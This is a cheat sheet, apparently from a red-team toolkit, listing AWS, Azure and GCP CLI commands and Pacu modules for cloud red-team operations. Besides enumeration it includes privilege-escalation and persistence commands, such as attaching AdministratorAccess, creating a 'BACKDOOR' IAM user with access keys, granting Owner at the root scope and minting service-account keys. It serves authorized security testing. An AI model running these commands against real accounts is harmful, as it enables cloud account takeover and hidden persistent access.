<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Cloud Red Team Operations

## AWS CLI
```bash
# Identity
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name USER

# Enumeration
aws s3 ls / aws s3 ls s3://BUCKET
aws ec2 describe-instances
aws lambda list-functions
aws iam list-users / list-roles / list-policies

# Privilege Escalation
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default
aws iam attach-user-policy --user-name USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Persistence
aws iam create-user --user-name BACKDOOR
aws iam create-access-key --user-name BACKDOOR
```

## Azure CLI
```bash
az account show / az ad signed-in-user show
az role assignment list --all
az storage account list
az storage blob list --account-name NAME --container-name CONTAINER
az role assignment create --assignee ID --role "Owner" --scope "/"
```

## GCP CLI
```bash
gcloud auth list
gcloud projects get-iam-policy PROJECT
gcloud iam service-accounts list
gcloud iam service-accounts keys create key.json --iam-account SA@PROJECT.iam.gserviceaccount.com
gsutil ls / gsutil ls gs://BUCKET/
```

## Pacu
```bash
pacu
> set_keys --access-key-id AKIA... --secret-key SECRET
> run iam__enum_permissions
> run iam__privesc_scan
> run s3__enum
> run lambda__enum
> run ec2__enum
```
